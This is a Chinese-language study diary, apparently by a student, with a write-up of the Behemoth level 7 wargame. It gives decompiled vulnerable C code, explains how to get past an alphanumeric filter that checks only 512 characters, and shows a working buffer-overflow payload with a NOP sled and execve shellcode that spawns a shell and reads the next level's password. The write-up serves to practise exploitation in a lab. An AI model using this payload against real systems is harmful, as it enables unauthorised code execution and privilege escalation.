1625-5 王子昂 总结《2017年9月8日》 【连续第340天总结】
A. WarGames-Behemoth
B.
Level 7
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // eax@2
int v5; // [sp+14h] [bp-20Ch]@13
signed int v6; // [sp+214h] [bp-Ch]@4
int i; // [sp+218h] [bp-8h]@1
const char *v8; // [sp+21Ch] [bp-4h]@1
v8 = argv[1];
for ( i = 0; envp[i]; ++i ) // 清空环境变量
{
v3 = strlen(envp[i]);
memset((void *)envp[i], 0, v3);
}
v6 = 0;
if ( argc > 1 )
{
while ( *v8 && v6 <= 511 )
{
++v6;
if ( !((*__ctype_b_loc())[*v8] & 0x400) && !((*__ctype_b_loc())[*v8] & 0x800) )
{
fprintf(_bss_start, "Non-%s chars found in string, possible shellcode!\n", "alpha");
exit(1);
}
++v8;
}
strcpy((char *)&v5, argv[1]);
}
return 0;
}
这次的关键点在__ctype_b_loc()上,从程序来看是个数组
百度没找到什么有用的结果,不过从回复提示来看应该是检测“Non-alpha”字符的;试着输入字母和数字没反应,下划线等符号则会被检测出来
payload大部分都是非可见字符,因此肯定不在alpha字符中
不过有一个漏洞,就是*v8 && v6 <=511
这就意味着该检测只处理前512个字符,因此只需要用合法字符填充,将payload放在之后即可
尝试构造512*’a’+’-‘可以通过,验证猜想无误
另外注意堆栈结构,IDA显示v5的位置为ebp-0x20c,即理论上来说堆栈应该为
524(v5及之后的局部变量)+4(ebp保存)+4(函数返回地址)
构造Shellcode在gdb中实验后发现:
(gdb) r
python -c 'print "a"*524+"a"*4+"bbbb"+"\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'
Program received signal SIGSEGV, Segmentation fault.
0x2f2f6850 in ?? ()
说明中间有8个字节的偏移,应该就是见过很多次的编译器优化-寄存器指针对齐
在构造Shellcode的时候需要多加8个字符的偏移
然后就是找到地址,在gdb break main后查看堆栈,发现argv在0xffffd50a处附近
gdb getshell成功以后退出来在shell中运行发现地址不完全相同,加了100的Sled也不好使,一气之下直接搞了1000个字节,居然成了 简直暴力
behemoth7@behemoth:~$ /behemoth/behemoth7
python -c 'print "a"*524+"a"*8+"a"*4+"\xd8\xd5\xff\xff"+"\x90"*1000+"\x33\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'
$
whoami
behemoth8
$
cat /etc/behemoth_pass/behemoth8
pheewij7Ae
Level 8
Congratz!!
Now fight for your right to eip=0x41414141!!
本关结束了,最后这个不明白是什么意思,也没查到相关的信息(:з」∠)
C. 明日计划
WarGames